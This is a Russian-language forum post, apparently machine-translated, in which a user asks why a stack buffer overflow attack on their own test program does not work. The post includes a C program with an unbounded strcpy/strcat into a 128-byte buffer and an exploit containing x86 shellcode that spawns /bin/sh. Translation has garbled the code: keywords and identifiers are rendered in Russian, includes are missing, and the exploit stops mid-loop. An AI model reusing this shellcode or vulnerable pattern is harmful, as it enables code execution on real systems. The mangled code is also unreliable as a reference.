Выполнение переполнения буфера для моей уязвимой программы не работаетLinux

Ответить
Anonymous
 Выполнение переполнения буфера для моей уязвимой программы не работает

Сообщение Anonymous »


У меня есть следующая программа на C:

#include #include void foo(char * name) { символ буф[128]; strcpy(buf, "Следующий шаг..."); strcat(buf, имя); strcat(buf, "."); ставит (буф); } int main(int argc, char ** argv) { если (арг < 2) puts("Пожалуйста, введите параметр командной строки."); еще Фу(аргв[1]); вернуть 0; } А это моя программа для взлома кода:

#include #include char шеллкод[] = "\xeb\x02\xeb\x15\xe8\xf9\xff\xff\xff" "/bin/shXYYYYZZZZ\x5b\x89\x5b\x08\x31" "\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b" "\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" "\x30\xf3\xff\bf"; интервал основной() { интервал я; //длина буфера 128, длина строки 20, oldEBP 4, адрес возврата 4 for (i=0; i
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Linux»